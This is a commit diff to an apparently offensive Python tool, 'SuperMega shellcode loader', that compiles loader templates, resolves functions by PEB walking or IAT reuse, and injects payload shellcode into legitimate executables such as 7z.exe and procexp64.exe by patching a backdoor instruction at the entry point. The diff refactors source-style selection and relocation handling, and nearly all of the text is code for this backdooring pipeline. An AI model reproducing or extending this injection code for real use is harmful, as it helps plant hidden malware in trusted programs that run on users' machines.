fix: peb_reuse bugs and similar

This commit is contained in:
Dobin
2024-02-28 20:12:52 +00:00
parent ac31152b01
commit 87c0cc2944
5 changed files with 30 additions and 50 deletions
+3 -3
View File
@@ -223,7 +223,7 @@ Trailing {sect_name} bytes:
cs = None cs = None
ks = None ks = None
if self.arch == 'x86': if self.mype.arch == 'x86':
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32 + capstone.CS_MODE_LITTLE_ENDIAN) cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32 + capstone.CS_MODE_LITTLE_ENDIAN)
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32 + keystone.KS_MODE_LITTLE_ENDIAN) ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32 + keystone.KS_MODE_LITTLE_ENDIAN)
else: else:
@@ -247,7 +247,7 @@ Trailing {sect_name} bytes:
output = self.mype.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction) output = self.mype.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
# store offset... by calculating it first FUCK # store offset... by calculating it first FUCK
section = self._get_code_section() section = self.mype.get_code_section()
self.backdoorOffsetRel = output - section.VirtualAddress self.backdoorOffsetRel = output - section.VirtualAddress
if output != 0: if output != 0:
@@ -274,7 +274,7 @@ Trailing {sect_name} bytes:
registers = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi'] registers = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']
if self.arch == 'x86': if self.mype.arch == 'x86':
registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi'] registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi']
reg = random.choice(registers).upper() reg = random.choice(registers).upper()
+4 -14
View File
@@ -84,23 +84,13 @@ class MyPe():
def addImageBaseRelocations(self, pageRva, relocs): def addImageBaseRelocations(self, pageRva, relocs):
relocType = MyPe.IMAGE_REL_BASED_HIGHLOW assert pageRva > 0
if self.arch == 'x64':
relocType = MyPe.IMAGE_REL_BASED_DIR64
if not self.pe.has_relocs(): if not self.pe.has_relocs():
logger.error("No .reloc section") logger.error("No .reloc section")
raise(Exception("No .reloc section")) raise(Exception("No .reloc section"))
else:
self.addRelocs(pageRva, relocs)
def addRelocs(self, pageRva, relocs):
assert pageRva > 0
imageBaseRelocType = MyPe.IMAGE_REL_BASED_HIGHLOW imageBaseRelocType = MyPe.IMAGE_REL_BASED_HIGHLOW
if self.arch == 'x64': if self.arch == 'x64':
imageBaseRelocType = MyPe.IMAGE_REL_BASED_DIR64 imageBaseRelocType = MyPe.IMAGE_REL_BASED_DIR64
@@ -128,7 +118,7 @@ class MyPe():
# SizeOfBlock # SizeOfBlock
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc) self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
logger.debug(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}') logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}')
i = 0 i = 0
for reloc in relocs: for reloc in relocs:
@@ -137,7 +127,7 @@ class MyPe():
relocWord = (reloc_type | reloc_offset) relocWord = (reloc_type | reloc_offset)
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord) self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
logger.debug(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}') logger.info(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}')
i += 1 i += 1
@@ -174,7 +164,7 @@ class MyPe():
data = disasmData[startOffset:startOffset + length] data = disasmData[startOffset:startOffset + length]
for instr in cs.disasm(data, startOffset): for instr in cs.disasm(data, startOffset):
self._printInstr(instr, depth) self.printInstr(instr, depth)
if len(instr.operands) == 1: if len(instr.operands) == 1:
operand = instr.operands[0] operand = instr.operands[0]
+2 -2
View File
@@ -30,8 +30,8 @@ class DataRefStyle(Enum):
#class InjectStyle(Enum): #class InjectStyle(Enum):
class SourceStyle(Enum): class SourceStyle(Enum):
peb_walk = 1 peb_walk = "peb_walk"
iat_reuse = 2 iat_reuse = "iat_reuse"
build_dir = "build" build_dir = "build"
+2 -2
View File
@@ -30,8 +30,8 @@ def create_c_from_template(
plugin_executor = "" plugin_executor = ""
logger.info("--[ Create C from template") logger.info("--[ Create C from template")
logger.warn("---[ Loader modules = Alloc: {} Decoder: {} Exec: {}".format( logger.warn("---[ {} Loader modules = Alloc: {} Decoder: {} Exec: {}".format(
alloc_style.value, decoder_style.value, exec_style.value source_style.value, alloc_style.value, decoder_style.value, exec_style.value
)) ))
filepath = "plugins/allocator/{}.c".format(alloc_style.value) filepath = "plugins/allocator/{}.c".format(alloc_style.value)
+19 -29
View File
@@ -35,6 +35,7 @@ def main():
parser = argparse.ArgumentParser(description='SuperMega shellcode loader') parser = argparse.ArgumentParser(description='SuperMega shellcode loader')
parser.add_argument('--shellcode', type=str, help='The path to the file of your payload shellcode') parser.add_argument('--shellcode', type=str, help='The path to the file of your payload shellcode')
parser.add_argument('--inject', type=str, help='The path to the file where we will inject ourselves in') parser.add_argument('--inject', type=str, help='The path to the file where we will inject ourselves in')
parser.add_argument('--sourcestyle', type=str, help='peb_walk or iat_reuse')
parser.add_argument('--alloc', type=str, help='Template: which allocator plugin') parser.add_argument('--alloc', type=str, help='Template: which allocator plugin')
parser.add_argument('--decoder', type=str, help='Template: which decoder plugin') parser.add_argument('--decoder', type=str, help='Template: which decoder plugin')
parser.add_argument('--exec', type=str, help='Template: which exec plugin') parser.add_argument('--exec', type=str, help='Template: which exec plugin')
@@ -60,17 +61,20 @@ def main():
settings.try_start_final_shellcode = False settings.try_start_final_shellcode = False
if args.verify == "peb": if args.verify == "peb":
settings.source_style = SourceStyle.peb_walk
settings.inject = True settings.inject = True
settings.inject_mode = 2 settings.inject_mode = 2
settings.inject_exe_in = "exes/7z.exe" settings.inject_exe_in = "exes/7z.exe"
settings.inject_exe_out = "out/7z-verify.exe" settings.inject_exe_out = "out/7z-verify.exe"
elif args.verify == "iat": elif args.verify == "iat":
settings.source_style = SourceStyle.iat_reuse
settings.inject = True settings.inject = True
settings.inject_mode = 1 # 2 settings.inject_mode = 2
settings.inject_exe_in = "exes/procexp64.exe" settings.inject_exe_in = "exes/procexp64.exe"
settings.inject_exe_out = "out/procexp64-verify.exe" settings.inject_exe_out = "out/procexp64-verify.exe"
elif args.verify == "rwx": elif args.verify == "rwx":
settings.inject = True settings.inject = True
settings.source_style = SourceStyle.peb_walk
settings.inject_mode = 1 # ,2 is broken atm settings.inject_mode = 1 # ,2 is broken atm
settings.inject_exe_in = "exes/wifiinfoview.exe" settings.inject_exe_in = "exes/wifiinfoview.exe"
settings.inject_exe_out = "out/wifiinfoview.exe-verify.exe" settings.inject_exe_out = "out/wifiinfoview.exe-verify.exe"
@@ -89,6 +93,12 @@ def main():
if args.short_call_patching: if args.short_call_patching:
settings.short_call_patching = True settings.short_call_patching = True
if args.sourcestyle:
if args.sourcestyle == "peb_walk":
settings.source_style = SourceStyle.peb_walk
elif args.sourcestyle == "iat_reuse":
settings.source_style = SourceStyle.iat_reuse
if args.alloc: if args.alloc:
if args.alloc == "rwx_1": if args.alloc == "rwx_1":
settings.alloc_style = AllocStyle.RWX settings.alloc_style = AllocStyle.RWX
@@ -155,7 +165,7 @@ def start(settings: Settings):
# Copy: IAT_REUSE loader C files into working directory: build/ # Copy: IAT_REUSE loader C files into working directory: build/
phases.templater.create_c_from_template( phases.templater.create_c_from_template(
source_style = SourceStyle.iat_reuse, source_style = settings.source_style,
alloc_style = settings.alloc_style, alloc_style = settings.alloc_style,
exec_style = settings.exec_style, exec_style = settings.exec_style,
decoder_style= settings.decoder_style, decoder_style= settings.decoder_style,
@@ -170,34 +180,14 @@ def start(settings: Settings):
carrier = project.carrier, carrier = project.carrier,
short_call_patching = project.settings.short_call_patching) short_call_patching = project.settings.short_call_patching)
# Decide if we can use IAT_REUSE (all function calls available as import) if settings.source_style == SourceStyle.iat_reuse:
if exehost_has_all_carrier_functions(project.carrier, project.exe_host):
settings.source_style = SourceStyle.iat_reuse
logger.warning("--[ SourceStyle: Using IAT_REUSE".format()) logger.warning("--[ SourceStyle: Using IAT_REUSE".format())
# all good, patch ASM
phases.compiler.fixup_iat_reuse(main_asm_file, project.carrier) phases.compiler.fixup_iat_reuse(main_asm_file, project.carrier)
observer.add_text("carrier_asm_updated", file_readall_text(main_asm_file)) observer.add_text("carrier_asm_updated", file_readall_text(main_asm_file))
else:
# Not good, Fall back to PEB_WALK if not exehost_has_all_carrier_functions(project.carrier, project.exe_host):
settings.source_style = SourceStyle.peb_walk logger.error("Error: Not all carrier functions are available in the target exe")
logger.warning("--[ SourceStyle: Fall back to PEB_WALK".format()) return
observer.clean_files()
clean_files()
# Copy: PEB_WALK loader C files into working directory: build/
phases.templater.create_c_from_template(
source_style = SourceStyle.peb_walk,
alloc_style = settings.alloc_style,
exec_style = settings.exec_style,
decoder_style= settings.decoder_style,
payload_len = project.payload.len,
)
# Compile: PEB_WALK C -> ASM
if settings.generate_asm_from_c:
phases.compiler.compile(
c_in = main_c_file,
asm_out = main_asm_file,
payload_len = project.payload.len)
observer.add_text("carrier_asm_updated", file_readall_text(main_asm_file))
# Assemble: ASM -> Shellcode # Assemble: ASM -> Shellcode
if settings.generate_shc_from_asm: if settings.generate_shc_from_asm:
@@ -266,15 +256,15 @@ def start(settings: Settings):
project.carrier, project.carrier,
project.exe_host) project.exe_host)
# Just print, to verify
code = extract_code_from_exe_file(settings.inject_exe_out) code = extract_code_from_exe_file(settings.inject_exe_out)
pe = pefile.PE(settings.inject_exe_out) pe = pefile.PE(settings.inject_exe_out)
ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
ep_raw = get_physical_address(pe, ep) ep_raw = get_physical_address(pe, ep)
pe.close() pe.close()
#print("Raw: {} / 0x{:x}".format( #print("Raw: {} / 0x{:x}".format(
# ep_raw, ep_raw)) # ep_raw, ep_raw))
observer.add_code("exe_fucking_final", observer.add_code("exe_final",
code[ep_raw:ep_raw+300]) code[ep_raw:ep_raw+300])